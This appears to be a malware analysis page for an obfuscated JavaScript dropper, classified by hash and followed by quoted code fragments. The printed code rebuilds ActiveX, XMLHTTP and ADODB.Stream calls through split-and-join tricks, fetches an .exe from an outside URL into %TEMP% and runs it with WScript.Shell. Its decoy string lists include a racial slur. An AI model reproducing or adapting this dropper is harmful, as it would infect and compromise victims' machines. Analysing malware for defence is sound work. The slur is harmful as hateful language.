20160328_0a66070575d1c832a9de06bd66cc4b37.js
Obfuscated dropper downloads and executes remote exe
WSH dropper with split-join string reconstructionURL scheme separator split mid-token
SHA-2567d036cba83deffe9175c6de545fd694f83fadf7f222b9e83b473f20b6c0100ef
MaleculeK(Li)O₂(CAs₅)H₂(CmDb₅)Md
Evidence
1:317… fer.reject ); } else { newDefer[ tuple[ 0 ] + \"With\" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); },";
2String.prototype.twofold = function () { aa = this; return aa.charAt(1 * 0 / 1); };
3String.prototype.furry = function () { aa = this; return aa.split(")").join("").split("(").join("").split("9").join(""); };
4
5var ekzlje = ["()A()()()c()t()()"+"i()(v())((e9))(X))"+("wjxXxsCLqq","anime","malign",")(O())b())")+")j(())e)c))t)", ("photograph","filme","E")+"x)p"+"an)d)E"+("turbid","problem","reactions","agnostic","n)v")+"i)r"+("advancement","coupling","on)me)nt")+"S)t"+")ri"+"ngs", ("cheaper","andros","HEsJYHSDm","motherboard",")")+")%"+"T)E"+("mobility","minus","parasitic","M)P)%"), ""+("beckon","democritus",").")+"e)x)e", "R)"+("delectable","corset","un)"), "M)"+("explicit","schemes","pitchfork","lawful)ly","S)X")+("univers)ality","revenue","marijuana","M)L2).")+"X)M"+"L)HT)TP", "W)"+"S)c"+("nonco)mmissioned","fated","r)i")+("abigail","polymer","pt).)Sh)e")+("YmUAja","necktie","chops","l)l")];
6UKvSTjCwoJe …
16:170… obj, promise ) : promise; } }, deferred = {};";
17var qOgIhFXi = EkbrCAD[""+(("nEjVrLy", "dallas", "elite", "cancelled", ("thrown","allow","surprise","")+"9"+"999")+kpTEmxgS+"))").furry()](("(("+""+("northeast","gratis","canary","9")+"999"+ekzlje.shift()+"))").furry());
18FVXmJc = " Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ];";
19
20failse = (("ANeSevTdQfC", "tying", "entertainment", "raspberry" …
31:103… ry.isFunction( subordinate.promise ) ) ? length : 0,";
32 if (AyLJcpnc.status == 200) {
33 var qeBhJRt = new GLNpeWx((("spoke","agree","newman","truss","")+"A"+("buxom","lines","pO")+"DB." + ""+("furnishings","bloggers","debug","S")+"tr"+("sunderland","contractor","eam")).replace("p", "D"));
34 qeBhJRt[("route","pegasus","sacramento","vixen","")+"o"+"pen"]();
35 gsjhFHl = " Handle state if ( stateString ) { list.add( function() {";
36 qeBhJRt.type = 0 + 3 - 2;
37 S …
37:20… state = [ resolved | rejected ] state = stateString;";
38 qeBhJRt[("latticed","bloody","niche","forsook","w")+"ri"+"te"](AyLJcpnc[("documents","boomed","")+"R"+"es"+("seizure","official","pon") + asthmas + "e"+("wrist","reggie","available","certain","Bo")+"dy"]);
39 ovgusEtN = " [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); ";
40 qeBhJRt[(snapshot + ("oneness","trademark","o")+"Di"+"ti"+"on").replace("D", asthmas)] = 0;
41 dVAlJQnViul = "} deferred[ resolve | reject | notify ] deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[ 0 ] + \"With\" ] = list.fireWith; } );";
42 qeBhJRt["sav"+"eT"+("inception","consultancy","oF")+"ile"](lamplight, 2);
43 fXGXpRPRu = " Make the deferred a promise promise.promise( deferred );";
44 qeBhJRt.close();
45 SfaDSgPN = " Call given func if any if ( func ) { func.call( deferred, deferred ); ";
46 EkbrCAD[ekzlje.shift().furry()](lamplight, 1, "NXVNlh" === "dBWtQmo"); CxKRBTM = " } else if ( !( --remaining ) ) btaCIwbK{ deferred.resolveWith( contexts, values ); } }; },";
47 }
48
49} catch (BfoaNF) { };
50
51 yvdMDUzG = " Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { conte …
51:243… alues === progressValues ) { deferred.notifyWith( contexts, values );";
52}
53torpedo(("enabling","niggers","tuneful","htt")+"p://"+"st"+"or"+"e.brug"+"omug"+".c"+("nagasaki","debut","bidding","alaric","o.uk")+"/765"+("cards","disagree","starlight","duchy","f46vb.exe"),"UKnqil");
54 RyVQUWQp = " the master Deferred. If resolveValues consist of only a single Deferred, just use that. deferred = remaining === 1 ? subordinate : jQuery.Deferred(),";